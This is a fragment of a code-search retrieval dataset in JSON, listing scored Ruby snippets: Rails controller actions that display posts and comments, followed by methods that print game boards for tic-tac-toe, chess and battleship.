"text": "def show\n @post = Post.find_by_slug(params[:id])\n @comment = Comment.new\n logger.debug \"No. of comments for post #{@post.title} is #{@post.comments.size}\"\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "1953a960618653bdd2037543695010ce",
"score": "0.6650634",
"text": "def show\r\n\t\t@postsInterval = 10\r\n\t\t@posts = @campaign.posts.where(isComment: false).order(\"voteCount DESC\")\r\n\t\t@post = Post.new\r\n\tend",
"title": ""
},
{
"docid": "1995fd4517d1d334bf93356f102d3518",
"score": "0.66420346",
"text": "def index\n # @post = Post.find(params[:post_id])\n @comments = @post.comments\n end",
"title": ""
},
{
"docid": "196838877dad9833e8dca7ee1ee3b55f",
"score": "0.6640206",
"text": "def show\n\t@comments = Comment.where(post_id: @post , tipus: 'comment').order(\"votes DESC\")\n end",
"title": ""
},
{
"docid": "add012a0839078d924cbefd4fa86960b",
"score": "0.66389394",
"text": "def show\n @post = @blog.posts.friendly.find(params[:id])\n @comments = @post.comments.joins(:user)\n @comment = @post.comments.build\n end",
"title": ""
},
{
"docid": "dfe7a6d9c3f100dd793c68f1c645bcc3",
"score": "0.6632952",
"text": "def show\n @post_comments = @blog_post.post_comments.all.\n order(created_at: :desc).\n paginate(page: params[:page], per_page: 5)\n end",
"title": ""
},
{
"docid": "7d7f2bb98bf054ce440008d4f3725fe0",
"score": "0.66280204",
"text": "def show\n @comments = @post.comments\n respond_to do |format|\n format.html\n format.json\n end\n end",
"title": ""
},
{
"docid": "8ac6f1ce3f8c9d6e32f5223ca7743b2e",
"score": "0.65910536",
"text": "def show\n @post.display_count += 1\n @post.save\n @comments = Comment.where(post_id: @post.id).paginate(:page => params[:page])\n\n # calculate reply number\n page = params[:page].to_i\n page = (page <= 0) ? 0 : (page - 1)\n @floor = page * Comment.per_page\n\n respond_to do |format|\n unless params[:show_as_article].nil?\n format.html { render :show_as_article }\n else\n format.html { render :show }\n end\n format.js\n end\n end",
"title": ""
},
{
"docid": "81278da32c464baba48de2b30d5d737f",
"score": "0.6585274",
"text": "def show\n @post = Post.find(params[:id])\n\[email protected] += 1;\n\[email protected]\n\t\n\t@comment = Comment.new\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "173b381e602836b11601af23f9c6f637",
"score": "0.6581985",
"text": "def show\n @post = Post.where(:id => params[:id]).first\n @comment = @post.comments.new\n @comments = @post.comments.created_at_order\n end",
"title": ""
},
{
"docid": "22557e620789417ba53edfa146e14955",
"score": "0.65727973",
"text": "def show\n authorize! :read_drafts, @post unless @post.published\n if can? :read, Comment, @post\n @commentable = @post\n @comments = @commentable.comments.recent.page(params[:page]).per(15)\n @comment = Comment.new\n end\n end",
"title": ""
},
{
"docid": "6b774e4d9734a048071ec367d2e8b4f4",
"score": "0.65727186",
"text": "def show\n @comments = @blog.comments.order(created_at: :desc)\n @new_comment = @blog.comments.new(blog_id: @blog.id)\n end",
"title": ""
},
{
"docid": "128ef101d7ab2bdd76fa37941e4e904e",
"score": "0.6563776",
"text": "def show_comments_for_post(comments)\n \n html = %()\n unless comments.empty?\n html << content_tag(:h3, \"<br /> Comentários Relacionadas : #{comments.size}<hr /><br/>\".html_safe) \n comments.each { |comment| html << render(:partial => '/admin/comments/comment', :locals => { :comment => comment }) }\n else\n html << content_tag(:h3, \"<br /> Sem comentários !\".html_safe)\n end #end unless\n\n html.html_safe\n end",
"title": ""
},
{
"docid": "3f4fd9f775b5a550ad40e97b0dcd420d",
"score": "0.65609485",
"text": "def show\n @post = Post.find(params[:id])\n @blog_comment = @post.blog_comments.build\n\t\t\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "da543e760b23da699f04e2c06ab333de",
"score": "0.656067",
"text": "def show\n post = Post.find(params[:id])\n post_info = post.attributes\n commentaries = []\n post_comments.each do |comment|\n comment_info = comment.attributes\n comment_info[:profile] = Profile.where(user: User.find(comment[:user_id])).first\n comment_info[:user] = User.find(comment[:user_id])\n commentaries << comment_info\n end\n post_info[:comments] = commentaries\n post_info[:votes] = post_votes\n post_info[:user] = User.find(post.user.id)\n post_info[:profile] = Profile.where(user: post.user).first\n @post = post_info\n \n end",
"title": ""
},
{
"docid": "a445ac44fbd30a2986e5783ee87fe5d0",
"score": "0.6560225",
"text": "def show\n @post = Post.find(params[:id])\n @comments = @post.comments\n @comments = @post.approved if cannot? :manage, Comment\n respond_with(@post)\n end",
"title": ""
},
{
"docid": "57d84cdde8f90fe9ec50e33c6b87e22a",
"score": "0.6558186",
"text": "def comments_show\n @guest = Guest.new\n @project = Project.find(params[:id])\n @npo = Npo.find_by_account_id(@project.account_id)\n @comments = Comment.find_all_by_project_id(@project.id)\n @twitter = get_twitter(@npo)\n render \"projects/project_comments_show\"\n end",
"title": ""
},
{
"docid": "d783becc0ae463f8abd4ed8980ad502a",
"score": "0.6557019",
"text": "def show\n @comments = @post.comments.paginate(:page => @path, :order => 'created_at DESC', :per_page => @per_page)\n respond_to do |format|\n format.html { render }\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "55f42721c443dbabe9e4fd527f76c7ae",
"score": "0.6556095",
"text": "def show\n @post = Post.find(params[:id])\n @comments = Comment.find_all_by_posts_id (@post.id)\n @comment = Comment.new\n @tags = Tag.all\n @categories = Category.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n format.json { render json: @comments }\n format.json { render json: @comment }\n end\n end",
"title": ""
},
{
"docid": "d69928abc4290c568f6ce542a476e5b3",
"score": "0.6554885",
"text": "def show\n if current_user.admin?\n @comments = Comment.where(post_id: params[:id]).paginate(:page => params[:page], :per_page => 3)\n else\n @comments = Comment.where(post_id: params[:id]).where(is_active: 1).paginate(:page => params[:page], :per_page => 3)\n end\n end",
"title": ""
},
{
"docid": "4f3d4cfe0b7b2a6e4b66b1707ce77c26",
"score": "0.65528107",
"text": "def show\n @new_comment = Comment.build_from(@post, \"\")\n\n render json: @post, status: 200\n\n\n end",
"title": ""
},
{
"docid": "fc1c0653cdbd73ca1e9050e86b0d2060",
"score": "0.6551665",
"text": "def new\n\t\t@account = Account.find(current_account)\n\t\t@post = Post.find(params[:post_id])\n\t\t@comment = @post.comments.new\n\t\t@comments = @post.comments.all\n\tend",
"title": ""
},
{
"docid": "ac1eafd6bf63caece931811593a44bba",
"score": "0.65368485",
"text": "def show\n new_comment\n end",
"title": ""
},
{
"docid": "3edcac614bbac911b2de211dc2724653",
"score": "0.65344155",
"text": "def new\n @post = Post.find(params[:post_id])\n @comment = @post.comments.new\n end",
"title": ""
},
{
"docid": "5b59599b1a0835452f73433f0848043b",
"score": "0.65250266",
"text": "def show\n @post = Post.find_by_id(params[:id]) || Post.find_by_url(params[:id])\n if logged_in?\n @comments = @post.comments.all(:order => \"created_at DESC\")\n else\n @comments = @post.comments.approved(:order => \"created_at DESC\")\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "3665cf9f965accdb966723ddf2a41d4a",
"score": "0.65186787",
"text": "def show\n #@last_comments = @post.comments.last(5)\n @last_comments = @post.comments.all\n @comment = @post.comments.build\n end",
"title": ""
},
{
"docid": "253b4201bbe8f602cd09ae37f1d36740",
"score": "0.6515827",
"text": "def show\n @post = Post.find(params[:id])\n @post_comments = @post.comments.order('created_at DESC')\n if user_signed_in? \n @comment = @post.comments.new(user_id: current_user.id)\n end\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "5c1a670740ea7ff6b93348e26f2ac57f",
"score": "0.650245",
"text": "def show\n @comment = Comment.new\n @comments = Comment.get_post_comments @post\n if session[:comment_errors]\n session[:comment_errors].each {|error, error_message| @comment.errors.add error, error_message}\n session.delete :comment_errors\n end\n respond_to do |format|\n format.html\n format.json { render :json => {:post => @post, :comments => @comments, :status => 200} }\n end\n end",
"title": ""
},
{
"docid": "8e2371e3358d3649774f335e45956b6d",
"score": "0.6502442",
"text": "def show\n @post = Post.find(params[:id])\n @user = @post.user\n @comments = @post.comments\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "349716bfbef3e1762951d2a8d53d0927",
"score": "0.65014094",
"text": "def index\n @comments = Comment.all\n @post = Post.find(params[:post_id])\n end",
"title": ""
},
{
"docid": "03abbdb7227ee65028a66e612a1bf4dd",
"score": "0.6500658",
"text": "def view(id)\n @post = Post[id]\n\n if @post.nil?\n flash[:error] = 'The specified post is invalid'\n redirect_referrer\n end\n\n @title = @post.title\n @created_at = @post.created_at.strftime('%Y-%m-%d')\n @new_comment = flash[:form_data] || Comment.new\n end",
"title": ""
},
{
"docid": "844f8998ea0b30aeb257b8ad9d285d2b",
"score": "0.649407",
"text": "def show\n @post = Post.includes(:user).find_by(id: params[:id])\n @comments = @post.comments.includes(:user).all\n @comment = @post.comments.build(user_id: current_user.id) if current_user\n end",
"title": ""
},
{
"docid": "ee3f8e984b4b4d8ff88ac798a9d549ad",
"score": "0.64925855",
"text": "def show\n @page = params[:page] || \"1\"\n @comments = Comment.includes(:user).where(post_id: @post.id).paginate(page: @page, per_page: @comment_per_page)\n end",
"title": ""
},
{
"docid": "a0d98bb34175863f6c2192a8a228579a",
"score": "0.6491212",
"text": "def show_post\n @post = Post.find(params[:id])\n end",
"title": ""
},
{
"docid": "d4cb22a76e50aee1214292feac9fb990",
"score": "0.6483934",
"text": "def show\n @comment = Comment.new\n @comments = Comment.where(\"post_id = ?\", params[:id]).paginate(page: params[:page], :per_page => 10)\n \n respond_to do |format|\n format.html\n format.js\n end\n end",
"title": ""
},
{
"docid": "82fb854c80d8c499425113ef7eecf0ff",
"score": "0.6475252",
"text": "def show\n @post = Post.find(params[:id])\n @comments = @post.comments.order('created_at DESC')\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "9618c96db41b52e1bf93a611e007415e",
"score": "0.6453629",
"text": "def show\n @post = Post.find params[:id]\n @like = @post.like_for(current_user)\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "bceed4e542cb6e364b71475b3cda255e",
"score": "0.6449122",
"text": "def show\n @comments = @blog.comments\n @comment = @blog.comments.build\n end",
"title": ""
},
{
"docid": "ab47c55b204aee04dc5e56d2b62432f9",
"score": "0.6440338",
"text": "def show\n\t\t@post\n\tend",
"title": ""
},
{
"docid": "7d80a85428f85a47fe89f80a9ab1f252",
"score": "0.6438725",
"text": "def show\n @comment = Comment.new( :blog => @blog )\n end",
"title": ""
},
{
"docid": "e87cfd717728ebd7d8bc7f02a20e8e1d",
"score": "0.6412965",
"text": "def new\n @post = Post.find(params[:post_id], :include => :blog)\n @comment = Comment.new\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @comment }\n end\n end",
"title": ""
},
{
"docid": "7d87e5c107e1283b941a1bb957f29d55",
"score": "0.6399556",
"text": "def show\n\n\t\[email protected]_column(:views, @post.views+1)\t\t\t\t\t\t\t\t\t\t\t# Update the view count...\n\t\[email protected]_team_lists\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Create the team lists for the featured post...\n\t\[email protected]_category_lists\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Create the category list for the featured post...\n\n\t\t@kids = Post.where(parent: @post).order(:updated_at).reverse_order\t# get the featured post's kids and sort them...\n\n\t\[email protected] do |k|\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# For each kid...\n\t\t\tk.create_team_lists\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# ...construct the team lists...\n\t\t\tk.create_category_lists\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# ...and category lists\n\t\tend\n\n\t\t# Determine if the featured post is \"repliable\" based on settings in the topic and post...\n\t\tif @post.kind == Post::OPINION\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If this post is an OPINION...\n\t\t\tRails.logger.info \"We have an opinion\"\n\t\t\tif @post.topic.private\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# and the topic is private...\n\t\t \t\tif @post.topic.use_teams?\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# and it has teams...\n\t\t\t\t\tif @post.team_member?(current_prover)\t\t\t\t\t\t\t\t\t\t\t# and the user is on one of these teams...\n\t\t\t\t\t\tif @post.which_team(current_prover) == Team::AGREE\t\t\t# and he agrees with the OP...\n\t\t\t\t\t\t\[email protected]_repliable = @post.level.odd?\t\t\t\t\t\t# then he can (only) reply to odd level posts.\n\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If the user disagrees with the OP...\n\t\t\t\t\t\t\[email protected]_repliable = @post.level.even?\t\t\t\t\t\t# then he can (only) reply to even level posts.\n\t\t\t\t\t\tend\n\t\t\t\t\t\[email protected]_repliable = true\t\t\t\t\t\t\t\t\t\t\t\t\t# Team members can comment on any post.\n\t\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# However, if user is not on either team...\n\t\t\t\t\t\[email protected]_repliable = false\t\t\t\t\t\t\t\t\t\t\t\t\t# he can NOT post an objection...\n\t\t\t\t\t\[email protected]_repliable = @post.topic.public_comments?\t# but he can comment if the topic allows it.\n\t\t\t\t\tend\n\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If private topic has no teams...\n\t\t\t\t\tif @post.team_member?(current_prover)\t\t\t\t\t\t\t\t\t\t\t# and the user is a participant...\n\t\t\t\t\t\[email protected]_repliable = true\t\t\t\t\t\t\t\t\t\t\t\t\t# then he can post an objection...\n\t\t\t\t\t\[email protected]_repliable = true\t\t\t\t\t\t\t\t\t\t\t\t\t# or a comment\n\t\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# However, if he is not a participant...\n\t\t\t\t\t\[email protected]_repliable = false\t\t\t\t\t\t\t\t\t\t\t\t\t# he can NOT post an objection...\n\t\t\t\t\t\[email protected]_repliable = @post.topic.public_comments?\t# but he can comment if the topic allows is.\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If this post is not private (public)....\n\t\t\t\tif @post.topic.lone_wolf\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# and it's a lone wolf...\n\t\t\t\t\tif @post.topic.prover_id == current_prover.id\t\t\t\t\t\t\t# and the user is the lone wolf...\n\t\t\t\t\t\[email protected]_repliable = @post.level.odd?\t\t\t\t\t\t\t# he can only reply to odd level posts.\n\t\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If he's not the lone wolf...\n\t\t\t\t\t\[email protected]_repliable = @post.level.even?\t\t\t\t\t\t\t# he can only reply to even level posts.\n\t\t\t\t\tend\n\t\t\t\t\[email protected]_repliable = true\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Anyone can comment to a lone wolf post.\n\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If this post is NOT lone wolf...\n\t\t\t\t\[email protected]_repliable = true;\t\t\t\t\t\t\t\t\t\t\t\t\t\t# anyone can post an opinion...\n\t\t\t\t\[email protected]_repliable = true;\t\t\t\t\t\t\t\t\t\t\t\t\t\t# or a comment.\n\t\t\t\tend\n\t\t\tend\n\t\telsif @post.kind == Post::INITIATOR\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If this post is an INITIATOR...\n\t\t\tRails.logger.info \"We have an initiator\"\n\t\t\tif @post.topic.private\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# and the topic is private...\n\t\t\t\tif @post.team_member?(current_prover)\t\t\t\t\t\t\t\t\t\t\t\t# and the user is a participant...\n\t\t\t\t\[email protected]_repliable = true\t\t\t\t\t\t\t\t\t\t\t\t\t\t# he can submit an opinion...\n\t\t\t\t\[email protected]_repliable = true\t\t\t\t\t\t\t\t\t\t\t\t\t\t# or a comment.\n\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If he is not a participant...\n\t\t\t\t\[email protected]_repliable = false\t\t\t\t\t\t\t\t\t\t\t\t\t\t# he can NOT submit an opinion...\n\t\t\t\t\[email protected]_repliable = @post.topic.public_comments?\t\t# but he can comment if the topic allows it.\n\t\t\t\tend\n\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If this topic is public...\n\t\t\t\[email protected]_repliable = true;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# anyone can post an opinion...\n\t\t\t\[email protected]_repliable = true;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# or a comment.\n\t\t\tend\n\t\telsif @post.kind == Post::COMMENT\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If this post is a COMMENT...\n\t\t\tRails.logger.info \"We have a comment\"\n\t\t\tif @post.topic.lone_wolf\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# and it's a lone wolf...\n\t\t\t\tif @post.topic.prover_id == current_prover.id\t\t\t\t\t\t\t\t# and the user is the lone wolf...\n\t\t\t\t\[email protected]_repliable = @post.level.odd?\t\t\t\t\t\t\t\t# he can only reply to odd level posts.\n\t\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If he is not the lone wolf...\n\t\t\t\t\[email protected]_repliable = @post.level.even?\t\t\t\t\t\t\t\t# he can only reply to even level posts.\n\t\t\t\tend\n\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# If this post is NOT lone wolf...\n\t\t\t\[email protected]_repliable = true;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# anyone can post a comment...\n\t\t\tend\n\t\tend\n\n\t\t@provers = Prover.all.order(:provername)\n\n\t\t@folder = Fallacyfolder.find_by(parent: nil)\t\t\t\t\t\t\t\t\t\t# We need the \"root\" fallacy folder.\n\t\tif @folder == nil\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# There should already be one but if there isn't...\n\t\t\tFallacyfolder.create! :name => \"Templates:\", :parent => nil\t\t\t\t\t# ...create one!\n\t\t\t@folder = Fallacyfolder.find_by(parent: nil)\t\t\t\t\t\t\t\t\t# ...and there you go.\n\t\tend\n\n\t\t@fallacies = Fallacy.where(folder: @folder.id).order(:name)\n\t\t@subfolders = Fallacyfolder.where(parent: @folder.id).order(:name)\n\tend",
"title": ""
},
{
"docid": "b25332c8aeca6347293866be5c402741",
"score": "0.63945925",
"text": "def edit\n @post = Post.find(params[:post_id])\n @comment = Comment.find(params[:id])\n end",
"title": ""
},
{
"docid": "06aab92986d37f12a3fdbc99aa526a59",
"score": "0.63913715",
"text": "def show\n @post = Post.find(params[:id])\n @comment = Comment.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "378544fcf2da81b5a961a0a8f2d97508",
"score": "0.638346",
"text": "def comments\n \n post = Post.find(params[:post_id]) \n comment = Comment.new(comment_params)\n comment.post = post\n comment.user = current_user \n comment.save\n\n redirect_to post_read_path(post)\n end",
"title": ""
},
{
"docid": "8f6447dc1e977666771e621abba39fb3",
"score": "0.6371372",
"text": "def show\n @comments = @post.comments.includes(:user)\n .paginate(page: params[:page], per_page: 3)\n end",
"title": ""
},
{
"docid": "4fa072d53ded431cffb517101befa7ad",
"score": "0.6369056",
"text": "def show\n\t\t@post = Post.find(params[:id])\n end",
"title": ""
},
{
"docid": "040cfb034decf945da233a8b4607b121",
"score": "0.63670194",
"text": "def show\n puts \"\\n******* show *******\"\n puts \"\\n** params.inspect: #{params.inspect}\"\n @user = User.where(id: session[:user_id]).first\n # @comments = @user.comments\n @post = Post.find(@post)\n @comments = Comment.where(post_id: @post.id)\n puts \"** @post.inspect: #{@post.inspect}\"\n puts \"** @comments.inspect: #{@comments.inspect}\"\n\n end",
"title": ""
}
] |
63d693e7876c703504022dd76b58f65d
|
This Boardprint method is given for free and does not need to be modified It is used to make your game playable.
|
[
{
"docid": "3ab0eb0c81a2dffe327842b9ce795226",
"score": "0.0",
"text": "def print\n @grid.each { |row| p row }\n end",
"title": ""
}
] |
[
{
"docid": "db19b159917b8ab68a35743477ca667b",
"score": "0.7555866",
"text": "def print_board\n\t\tputs \"GAME BOARD AT TIME: #{@current_turn}\"\n\t\tprint full_game_board.map{|c| c.join(\"\")}.join(\"\\n\")\n\tend",
"title": ""
},
{
"docid": "70e29f05861b0fb754bc074d0f190b16",
"score": "0.74970096",
"text": "def print_board\n puts \"\\n[#{@spaces[1]}][#{@spaces[2]}][#{@spaces[3]}]\\n[#{@spaces[4]}][#{@spaces[5]}][#{@spaces[6]}]\\n[#{@spaces[7]}][#{@spaces[8]}][#{@spaces[9]}]\\n\\n\"\n end",
"title": ""
},
{
"docid": "d2a7c6336104849dc6519a7b0e8fb6ec",
"score": "0.7417388",
"text": "def display_board\n puts \"#{human.name}: #{human.marker}, #{computer.name}: #{computer.marker}\"\n puts \"Round #{@round}.\"\n puts \"Score: #{human.score} - #{computer.score}\"\n puts \"\"\n board.draw\n puts \"\"\n end",
"title": ""
},
{
"docid": "519f12877f097c05852ae0472bcc5abe",
"score": "0.73809963",
"text": "def print_board\n dic = {0 => @slot.empty, 1 => @slot.cross, 2 => @slot.circle}\n dic[1], dic[2] = [@slot.circle, @slot.cross] if @@cpt_game.even?\n printed_board = []\n @board.board.each do |k,v|\n row = []\n v.each { |num| row << dic[num] }\n printed_board << row\n end\n print_board_array(printed_board)\n end",
"title": ""
},
{
"docid": "e9233dd627cadf93d7d6d7e6b174402c",
"score": "0.73350704",
"text": "def print_board\n print to_s\n # @board.each do |row|\n # row.each do |square|\n # print \" #{square.number} \"\n # end\n # puts \"\"\n # end\n end",
"title": ""
},
{
"docid": "969b32020c6b9b2e8d6e4ba7d2bbe1f3",
"score": "0.73059964",
"text": "def print_board\n @board.each_slice(1) { |a| p a }\n puts\"\\n\"\n end",
"title": ""
},
{
"docid": "823e5c885d6068cc4da62e96595561e7",
"score": "0.7290579",
"text": "def printBoard\n\t\tputs \"Player 1's Board\"\n\t\[email protected] do |c|\n\t\t\tc.printCard\n\t\tend\n\t\tputs \"Player 2's Board\";\n\t\[email protected] do |c|\n\t\t\tc.printCard\n\t\tend\n\t\tputs \"Player 1's GY\"\n\t\[email protected] do |c|\n\t\t\tc.printCard\n\t\tend\n\t\tputs \"Player 2's GY\";\n\t\[email protected] do |c|\n\t\t\tc.printCard\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6ac77007083723b3874b9ada90a8ba72",
"score": "0.72599924",
"text": "def print\n Board.print_grid(hidden_ships_grid)\n end",
"title": ""
},
{
"docid": "06cc619a08770ea0f8afccb5749aefe4",
"score": "0.7248819",
"text": "def print_board\r\n\t\t@board_array.each do |char|\r\n\t\t\tprint \"#{char} \"\r\n\t\tend\r\n\t\tputs \"\"\r\n\t\t@board_array\r\n\tend",
"title": ""
},
{
"docid": "56d29c99481649ff58a077bf57850023",
"score": "0.72436666",
"text": "def print\n Board.print_grid(hidden_ships_grid)\n end",
"title": ""
},
{
"docid": "f5e587db52653b62c30c8aee7a66fc85",
"score": "0.72243255",
"text": "def display\n puts \"\\n GAME BOARD \"\n puts \" Turn #{turn_count}\"\n puts \"*************\"\n puts \"* #{self.cells[0]} | #{self.cells[1]} | #{self.cells[2]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[3]} | #{self.cells[4]} | #{self.cells[5]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[6]} | #{self.cells[7]} | #{self.cells[8]} *\"\n puts \"*************\\n\\n\"\n end",
"title": ""
},
{
"docid": "768fa9182f30598380dbb465fc7bfe85",
"score": "0.72071403",
"text": "def display\n \"\\n=============COMPUTER BOARD=============\\n\" +\n \"#{@npc.board.render}\\n\" +\n \"==============PLAYER BOARD==============\\n\" +\n \"#{@user_board.render(true)}\\n\"\n end",
"title": ""
},
{
"docid": "0d5074b0b02441cf6c2e9f3169e23295",
"score": "0.71964854",
"text": "def display\n puts \"#{@board.join(\" \")}\"\n end",
"title": ""
},
{
"docid": "97008b579541767d5c0ae929b9bb3020",
"score": "0.71780425",
"text": "def print_board\n reputs('|')\n clear_screen!\n move_to_home!\n @players.each_with_index do |value,index|\n p board[index]\n puts\n end\n\n end",
"title": ""
},
{
"docid": "7e35ed1f9911536028911790e7e79637",
"score": "0.7168799",
"text": "def print_board\n\t\tputs \"**********************************\"\n\t\tputs \"| ♔ ♚ ♕ ♛ ♖ ♜ ♗ ♝ ♘ ♞ ♙ ♟ |\"\n\t\tputs \"| Actual board |\"\n\t\tputs \"| ♔ ♚ ♕ ♛ ♖ ♜ ♗ ♝ ♘ ♞ ♙ ♟ |\"\n\t\tputs \"**********************************\"\n\t\[email protected]_index do |i|\n\t\t\t@board[i].each_index do |y|\n\t\t\t\tif y == 0\n\t\t\t\t\tprint 8 - i\n\t\t\t\tend\n\n\t\t\t\tif @board[i][y] == nil\n\t\t\t\t\tprint \"#{@board[i][y]} --\"\n\t\t\t\telse\n\t\t\t\t\tprint \" #{@board[i][y].piecename}\"\n\t\t\t\tend\n\n\t\t\tend\n\t\t\tputs \"\\n\"\n\t\tend\n\t\tputs \" a b c d e f g h\"\n\t\tputs \"\\n\\n\\n\\n\"\n\tend",
"title": ""
},
{
"docid": "0cf618dd649a9a439ca17b677b25d945",
"score": "0.7149821",
"text": "def printBoard\n\t\tprint(\"#{@field[0].value} | #{@field[1].value} | #{@field[2].value}\\n---------\\n#{@field[3].value} | #{@field[4].value} | #{@field[5].value}\\n---------\\n#{@field[6].value} | #{@field[7].value} | #{@field[8].value}\")\n\tend",
"title": ""
},
{
"docid": "406cf372a6b2a6dd0f4b817f6846e10d",
"score": "0.7148853",
"text": "def show_board\n \tputs \"-\"*16\n \tputs \"| #{@case_array[0].symbol} | #{@case_array[1].symbol} | #{@case_array[2].symbol} |\"\n \tputs \"-\"*16\n \tputs \"| #{@case_array[3].symbol} | #{@case_array[4].symbol} | #{@case_array[5].symbol} |\"\n \tputs \"-\"*16\n \tputs \"| #{@case_array[6].symbol} | #{@case_array[7].symbol} | #{@case_array[8].symbol} |\"\n \tputs \"-\"*16\n\tend",
"title": ""
},
{
"docid": "bd5d918be29df558d67c3081fac207ed",
"score": "0.71325797",
"text": "def to_s\n print_chess_board\n end",
"title": ""
},
{
"docid": "f609604c29605faea462c71617ba5187",
"score": "0.71168184",
"text": "def display_board (game)\n puts \" #{game[0]} | #{game[1]} | #{game[2]} \"\n puts \"-----------\"\n puts \" #{game[3]} | #{game[4]} | #{game[5]} \"\n puts \"-----------\"\n puts \" #{game[6]} | #{game[7]} | #{game[8]} \"\nend",
"title": ""
},
{
"docid": "6716aeb95e9030c81806d3ca770c4589",
"score": "0.7099049",
"text": "def print_board \n puts @board\n flush!\n reputs @board\n end",
"title": ""
},
{
"docid": "50ee206fffd9e046a078ca2235058002",
"score": "0.7096044",
"text": "def print_board\n reputs\n @hash.each do |player, position|\n puts \" |\" * (position - 1) + player + \"|\" + \" |\" * (length - position)\n end\n end",
"title": ""
},
{
"docid": "f36e79ee9144ae534fd6ccb1daff9a1f",
"score": "0.7083052",
"text": "def cheat\n Board.print_grid(@grid)\n end",
"title": ""
},
{
"docid": "482e892c3b5495f67f34781e08d5cd1c",
"score": "0.70787674",
"text": "def board\n # Returns a printed copy of the board\n end",
"title": ""
},
{
"docid": "aa54a613cc39fd9bb49ae445a5c1f175",
"score": "0.70786756",
"text": "def display_board(game)\n \n puts \" #{game[0]} #{VERTBAR} #{game[1]} #{VERTBAR} #{game[2]} \"\n puts \"#{SEP}\"\n puts \" #{game[3]} #{VERTBAR} #{game[4]} #{VERTBAR} #{game[5]} \"\n puts \"#{SEP}\"\n puts \" #{game[6]} #{VERTBAR} #{game[7]} #{VERTBAR} #{game[8]} \"\n \nend",
"title": ""
},
{
"docid": "ae601b197040059828f9159fd27bb15b",
"score": "0.70751584",
"text": "def print_boards\n puts \" SHIP STATUS SHOTS TAKEN\".colorize(:white)\n puts \" 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10\".colorize(:white)\n row_letter = ('A'..'Z').to_a\n row_number = 0\n @board.grid.each do |row1|\n print row_letter[row_number].colorize(:white) + ' '\n row1.each {|cell| print cell.to_s + ' '}\n print \" \"\n print row_letter[row_number].colorize(:white) + ' '\n @target_board.grid[row_number].each {|cell| print cell.to_s + ' '}\n print \"\\n\"\n row_number += 1\n end\n end",
"title": ""
},
{
"docid": "fc660f3229a52555f6b22934a61d3d30",
"score": "0.70603025",
"text": "def display_board\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "f470dd1d3276f72ac23051447acca050",
"score": "0.7047147",
